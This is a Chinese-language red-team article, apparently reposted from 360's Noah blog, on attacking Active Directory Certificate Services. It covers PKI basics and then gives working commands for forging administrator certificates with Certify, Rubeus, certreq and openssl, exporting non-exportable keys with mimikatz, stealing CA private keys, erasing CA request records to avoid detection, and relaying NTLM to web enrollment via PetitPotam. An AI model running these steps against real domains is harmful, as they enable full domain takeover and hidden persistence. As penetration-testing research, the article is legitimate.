作者:Imanfeng
原文链接:http://noahblog.360.cn/active-directory-certificate-services-attack-and-exploit/
在 BlackHat21 中 Specterops 发布了 Active Directory Certificate Services 利用白皮书,尽管 ADCS 并不是默认安装但在大型企业域中通常被广泛部署。本文结合实战讲述如何在域环境中利用 ADCS 手法拿下域控,哪些对象 ACL 可用于更好的权限维持并涉及 ADCS 的基础架构、攻击面、后利用等。
在 PKI (公钥基础结构)中,数字证书用于将公密钥对的公钥与其所有者的身份相关联。为了验证数字证书中公开的身份,所有者需要使用私钥来响应质询,只有他才能访问。
Microsoft 提供了一个完全集成到 Windows 生态系统中的公钥基础结构 (PKI) 解决方案,用于公钥加密、身份管理、证书分发、证书撤销和证书管理。启用后,会识别注册证书的用户,以便以后进行身份验证或撤销证书,即 Active Directory Certificate Services (ADCS)。
根证书颁发机构 (Root Certification Authority)
证书基于信任链,安装的第一个证书颁发机构将是根 CA,它是我们信任链中的起始。
从属 CA (Subordinate CA)
从属 CA 是信任链中的子节点,通常比根 CA 低一级。
颁发 CA (Issuing CA)
颁发 CA 属于从属 CA,它向端点(例如用户、服务器和客户端)颁发证书,并非所有从属 CA 都需要颁发 CA。
独立 CA (Standalone CA)
通常定义是在未加入域的服务器上运行的 CA。
企业 CA (Enterprise CA)
通常定义是加入域并与 Active Directory 域服务集成的 CA。
电子证书 (Digital Certificate)
用户身份的电子证明,由 Certificate Authority 发放(通常遵循X.509标准)。
AIA (Authority Information Access)
权威信息访问 (AIA) 应用于 CA 颁发的证书,用于指向此证书颁发者所在的位置引导检查该证书的吊销情况。
CDP (CRL Distribution Point)
包含有关 CRL 位置的信息,例如 URL (Web Server)或 LDAP 路径 (Active Directory)。
CRL (Certificate Revocation List)
CRL 是已被撤销的证书列表,客户端使用 CRL 来验证提供的证书是否有效。
微软官方 ADCS 服务架构中的两层 PKI 环境部署结构示例如下:
ORCA1:首先使用本地管理员部署单机离线的根 CA,配置 AIA 及 CRL,导出根 CA 证书和 CRL 文件
APP1:用于端点注册的从属 CA,通常完成以下关键配置
ADCS 在 LDAP 容器中进行了相关属性定义 CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=
,部分前面提到过
Certificate templates
ADCS 的大部分利用面集中在证书模板中,存储为 CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=
,其 objectClass 为 pKICertificateTemplate
,以下为证书的字段
证书模板颁发首先需要在 CA 的 certtmpl.msc
进行模板配置,随后在 certsrv.msc
进行证书模板的发布。在 Extensions 中证书模板对象的 EKU (pKIExtendedKeyUsage) 属性包含一个数组,其内容为模板中已启用的 OID (Object Identifiers)
这些自定义应用程序策略 (EKU oid) 会影响证书的用途,以下 oid 的添加才可以让证书用于 Kerberos 身份认证
描述 | OID |
---|---|
Client Authentication | 1.3.6.1.5.5.7.3.2 |
PKINIT Client Authentication | 1.3.6.1.5.2.3.4 |
Smart Card Logon | 1.3.6.1.4.1.311.20.2.2 |
Any Purpose | 2.5.29.37.0 |
SubCA | (no EKUs) |
Enterprise NTAuth store
NtAuthCertificates 包含所有 CA 的证书列表,不在内的 CA 无法处理用户身份验证证书的申请
向 NTAuth 发布/添加证书:
certutil –dspublish –f IssuingCaFileName.cer NTAuthCA
要查看 NTAuth 中的所有证书:
certutil –viewstore –enterprise NTAuth
要删除 NTAuth 中的证书:
certutil –viewdelstore –enterprise NTAuth
域内机器在注册表中有一份缓存:
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\NTAuth\Certificates
当组策略开启“自动注册证书”,等组策略更新时才会更新本地缓存。
Certification Authorities & AIA
Certification Authorities 容器对应根 CA 的证书存储。当有新的颁发 CA 安装时,它的证书则会自动放到 AIA 容器中。
来自他们容器的所有证书同样会作为组策略处理的一部分传播到每个网络连通的客户端,当同步出现问题的话 KDC 认证会抛 KDC_ERR_PADATA_TYPE_NOSUPP
报错。
Certificate Revocation List
前面在 PKI 服务架构中提到了,证书吊销列表 (CRL) 是由颁发相应证书的 CA 发布的已吊销证书列表,将证书与 CRL 进行比较是确定证书是否有效的一种方法。
CN=<CA name>,CN=<ADCS server>,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=
通常证书由序列号标识,CRL 除了吊销证书的序列号之外还包含每个证书的吊销原因和证书被吊销的时间。
ADCS 认证体系中的证书注册流程大致如下:
\1. 证书颁发机构 Web 注册
在部署 CA 时勾选证书颁发机构 Web 注册,即可在 http://CA-Computer/certsrv
身份认证后进行证书申请。
\2. 客户端 GUI 注册
域内机器可以使用 certmgr.msc
(用户证书),certlm.msc
(计算机证书) GUI 请求证书
\3. 命令行注册
域内机器可以通过 certreq.exe
或Powershell Get-Certificate
申请证书,后面有使用示例
\4. DCOM调用
基于 DCOM 的证书注册遵循 MS-WCCE 协议进行证书请求,目前大多数 C#、python、Powershell的 ADCS 利用工具都按照 WCCE 进行证书请求。
在 Active Directory 中权限控制是基于访问控制模型的,其包含两个基本部分:
在 ADCS 中使用两种安全性定义注册权限 (主体可以请求证书) ,一个在证书模板 AD 对象上,另一个在企业 CA 本身上。
在颁发 CA 机器上使用 certtmpl.msc
可查看所有证书模板,通过安全扩展可以对证书模板的用户访问权限查看。
可以在颁发 CA 机器上使用 certsrv.msc
查看 CA 对于用户的访问权限设置。
Kerberos 是域环境中主要的认证协议,其认证流程大致如下:
在 RFC 4556 中定义了 PKINIT 为 Kerberos 的扩展协议,可通过 X.509 证书用来获取 Kerberos 票据 (TGT)。
PKINIT 与 Kerberos 差别主要在 AS 阶段:
详细的协议流程规范:http://pike.lysator.liu.se/docs/ietf/rfc/45/rfc4556.xml
在2016年,通过证书获取 NTLM 的功能就被集成在 kekeo 和 mimikatz 中,核心在于当使用证书进行 PKCA 扩展协议认证的时候,返回的 PAC 中包含了 NTLM 票据。
即使用户密码改了,通过证书随时可以拿到 NTLM。获取能用来进行 Kerberos 身份认证的证书需要满足一下几个条件:
\1. 证书模板OID
前面我们提到了,目前已知应用程序策略 (oid) 只有包含了 Client Authentication、PKINIT Client Authentication、Smart Card Logon、Any Purpose、SubCA 时,对应的证书才能充当 PKINIT 身份认证凭据。
\2. 证书请求权限
通过 certlm.msc
图形化或 certutil.exe
进行证书导出。
当私钥设置为不允许导出的时候,利用 Mimikatz 的 crypto::capi
命令可以 patch 当前进程中的 capi ,从而利用 Crypto APIs 导出含有私钥的证书。
通过 certmgr.msc
图形化或 certutil.exe
进行用户证书导出。
遇到私钥限制同样可尝试 crypto::capi
导出证书。
在实战中会遇到证书、私钥文件就在文件夹内并不需要导出,其后缀文件主要有以下几种
后缀 | 描述 |
---|---|
.pfx\ .p12\ .pkcs12 | 含公私钥,通常有密码保护 |
.pem | 含有base64证书及私钥,可利用openssl格式转化 |
.key | 只包含私钥 |
.crt\ .cer | 只包含证书 |
.csr | 证书签名请求文件,不含有公私钥 |
.jks\ .keystore\ .keys | 可能含有 java 应用程序使用的证书和私钥 |
可结合自身需求通过开源工具或自研武器来满足检索文件后缀的需求。
本节围绕 ADCS 从证书模板的滥用到权限维持滥用进行讲解
该错误配置在企业 ADCS 中是最为常见的,需满足的条件为:
如果满足上列条件,当攻击者在请求证书时可通过 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
字段来声明自己的身份,从而可获取到伪造身份的证书,Certify 为白皮书配套的 ADCS 利用工具。
Certify.exe find /vulnerable
使用 certutil.exe -TCAInfo
判断 CA 状态及当前用户请求的权限情况
利用 Certify 的 set altname 来伪造 administrator 身份尝试得到证书
Certify.exe request /ca:"CA01.corp.qihoo.cn\corp-CA01-CA" /template:”ESC1“ /altname:administrator
成功通过申请后可得到含有公私钥的 pem 证书文件,使用 openssl 进行格式转化
/usr/bin/openssl pkcs12 -in ~/cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out ~/cert.pfx
20.11后的 Rubeus 进行了 PKINIT 证书支持,使用 cert.pfx 作为 administrator 身份申请 TGT,成功获得 administrator 的票据
Rubeus4.exe asktgt /user:Administrator /certificate:cert.pfx /password:123456 /outfile:cert.kribi /ptt
与第一种利用需满足的条件前四点相同的用户证书非机器证书,主要差别在 EKU 的描述:
可使用 certutil.exe
检查模板的 pKIExtendedKeyUsage
字段是否为空
certutil -v -dstemplate
通过 Certify 成功定位到恶意模板
该利用方式并不是能直接通过 Kerberos 认证来伪造用户。Any Purpose (OID 2.5.29.37.0) 可以用于任何目的,包括客户端身份验证,如果没有指定eku,即 pkiextendedkeyusag 为空那么该证书就相当于从属 CA 的证书,可以用于任何情况给其他用户来颁发证书。
前面说过 CA 证书不在 NtAuthCertificates 内的话,是无法为身份认证作用来颁发证书的,所以该利用手段无法直接伪造用户,但可以用来签发用于其他应用,例如 ADFS ,它是 Microsoft 作为 Windows Server 的标准角色提供的一项服务,它使用现有的 Active Directory 凭据提供 Web 登录,感兴趣的可以自己搭环境试一试。
CA 提供一些基本的证书模板,但是标准的 CA 模板不能直接使用,必须首先复制和配置。部分企业出于便利性通过在服务器上设置可由管理员或注册代理来直接代表其他用户注册对应模板得到使用的证书。
实现该功能需要两个配置模板:
模板一为颁发“注册代理”证书
模板二为允许使用“注册代理”证书去代表其他用户申请身份认证证书
申请注册代理证书并连同私钥导出为 esc3_1.pfx
利用 Certify 通过 esc3_1.pfx 代表 administrator 申请 esc3_2.pfx 的身份认证证书,得到的证书同样可以进行 ptt 利用
Certify.exe request /ca:"CA01.corp.qihoo.cn\corp-CA01-CA" /template:ESC3_2 /onbehalfof:administrator /enrollcert:esc3_1.pfx /enrollcertpw:123456
可看到证书颁发给了 administrator
一些企业因业务需求会把颁发 CA + EDITF_ATTRIBUTESUBJECTALTNAME2
来启用 SAN (主题备用名),从而允许用户在申请证书时说明自己身份。例如 CBA for Azure AD 场景中证书通过 NDES 分发到移动设备,用户需要使用 RFC 名称或主体名称作为 SAN 扩展名来声明自己的身份。
至此利用手段与第一种一样均可伪造身份,区别在于一个是证书属性,一个是证书扩展。
通过远程注册表判断 CA 是否开启 SAN 标识
certutil -config "CA01.corp.qihoo.cn\corp-CA01-CA" -getreg "policy\EditFlags"
手动创建利用证书请求
certreq –new usercert.inf certrequest.req
#usercert.inf
[NewRequest]
KeyLength=2048
KeySpec=1
RequestType = PKCS10
Exportable = TRUE
ExportableEncrypted = TRUE
[RequestAttributes]
CertificateTemplate=USER
利用 req 请求上步得到 .cer 含公钥证书,其他字段可翻阅官方文档
certreq -submit -config "CA01.corp.qihoo.cn\corp-CA01-CA" -attrib "SAN:[email protected]" certrequest.req certrequest.cer
将 .cer 导入机器后连同私钥导出为 .pfx ,同样顺利通过 ptt 认证。
前面提到,证书模板和证书颁发机构是 AD 中的安全对象,这意味着安全描述符同样可用来指定哪些主体对他们具有特定的权限,详细内容可阅读 ACL 相关文档。
在对应设置中安全选项可用于对用户的权限进行相关设置,我们关注5种权限
权限 | 描述 |
---|---|
Owner | 对象所有人,可以编辑任何属性 |
Full Control | 完全控制对象,可以编辑任何属性 |
WriteOwner | 允许委托人修改对象的安全描述符的所有者部分 |
WriteDacl | 可以修改访问控制 |
WriteProperty | 可以编辑任何属性 |
例如我们已经拿下整个域想借助证书模板进行权限维持,那我们可对一个无害正常模板进行相关 ACL 添加
当我们重新回到域内通过密码喷洒等手段再次拿到任意一个用户凭据后,即可将该无害模板变成我们可以利用的提权模板
随后利用恶意模板进行 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 提权利用,可拿到 administrator 的证书凭据即可 ptt ,相比 Certify ,certi 是可以在域外使用的。
如果低特权的攻击者可以对 CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=
控制,那么攻击者就会直接控制 PKI 系统 (证书模板容器、证书颁发机构容器、NTAuthCertificates对象、注册服务容器等)。
将 CN=Public Key Services,CN=Services,CN=Configuration
添加 CORP\zhangsan 用户对其 GenericAll 的权限
此时我们可以滥用权限创建一个新的恶意证书模板来使用进行前面相关的域权限提升方法。
CA 本身具有一组安全权限用于权限管理
我们主要关注 ManageCA ,ManageCertificates 两种权限
权限 | 描述 |
---|---|
Read | 读取 CA |
ManageCA | CA 管理员 |
Issue and manage certificates | 证书管理 |
Request certificates | 请求证书,默认拥有 |
利用面一:隐藏 CA 申请记录
在拿到域管权限或拥有 PKI 操作权限后创建一个恶意证书模板
使用 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 姿势获取到 administrator 的 pfx 证书用于权限维持 (用户状态异常无法利用该证书)
我们出于隐蔽考虑可删除模板并利用拥有 ManageCA 权限的 zhangsan 调用 COM 接口 ICertAdminD2::DeleteRow
从 CA 数据库中删除申请的证书痕迹
运维人员是无法从证书控制台观察到我们的证书申请记录并无法吊销证书。只要 administrator 用户不过期,证书不过期即可一直使用,即使用户密码更改。
利用面二:修改 CA 属性用于证书提权
当我们拥有 ManageCA 权限下调用 ICertAdminD2::SetConfigEntry
来修改 CA 的配置数据,例如Config_CA_Accept_Request_Attributes_SAN
的bool型数据从而开启 CA 的 EDITF_ATTRIBUTESUBJECTALTNAME2
此时可参考前面 EDITF_ATTRIBUTESUBJECTALTNAME2 证书提权滥用拿到域控制权
利用面三:自己审批证书注册
在证书模板设置时,部分运维会出于安全考虑将模板发布要求设置为 CA 证书管理员审批,管理员就会在 certsrv.msc
上进行确认
当拥有 ManageCertificates 权限时,可调用 ICertAdminD::ResubmitRequest
去给需要审核的滥用证书进行批准放行。
使用偷来的证书颁发机构 (CA) 证书以及私钥来为任意用户伪造证书,这些用户可以对活动目录进行身份验证,因为签署颁发证书的唯一密钥就是 CA 的私钥。
当我们获取到 CA 服务器时,通过 mimikatz 或 SharpDPAPI 项目提取任何不受硬件保护的 CA 证书私钥。
SharpDPAPI4.exe certificates /machine
使用 openssl 转化格式后,利用 ForgeCert 或 pyForgeCert 进行证书构造,故含私钥的 CA 为“黄金证书”。
该利用方式是因为 http 的证书注册接口易受 NTLM Relay 攻击所导致的。NTLM 相关利用文章有很多,例如 CVE-2018-8581、CVE-2019-1040、Printerbug 等这里不再介绍。
PetitPotam 可以指定域内的一台服务器,使其对指定目标进行身份验证。当目标为低版本 (16以下) 时,可以做到匿名触发。
通过调用 MS-EFSRPC
相关函数到域控,使域控发送请求我们的监听,我们将获取到的 NTLM Relay 到 ADCS 的 Web 注册页面。
通过域控机器用户 NTLM 凭据向 web 服务注册证书,成功得到域控机器账户的Encode Base64 证书。
利用 kekeo 进行 ask tgt 成功拿到 DC$ 权限进行 Dcsync。
ADCS 相关利用手段在实战场景中权限提升,权限维持非常便捷。针对 ADCS 的防御方案在白皮书也有详细提到,这里就不详细写了。
部分解决方案有提到微软的三层架构:
核心思想就是你是什么用户就访问怎样的资产,无法向下级访问且向上访问会告警。那么 CA 、ADCS 服务器的本地管理员组、PKI 和证书模板所拥有者都应该处于0层。
最后灵腾实验室长期招聘高级攻防专家,高级安全研究员,感兴趣可发送简历至g-linton-lab[AT]360.cn
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
https://www.anquanke.com/post/id/245791
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1781/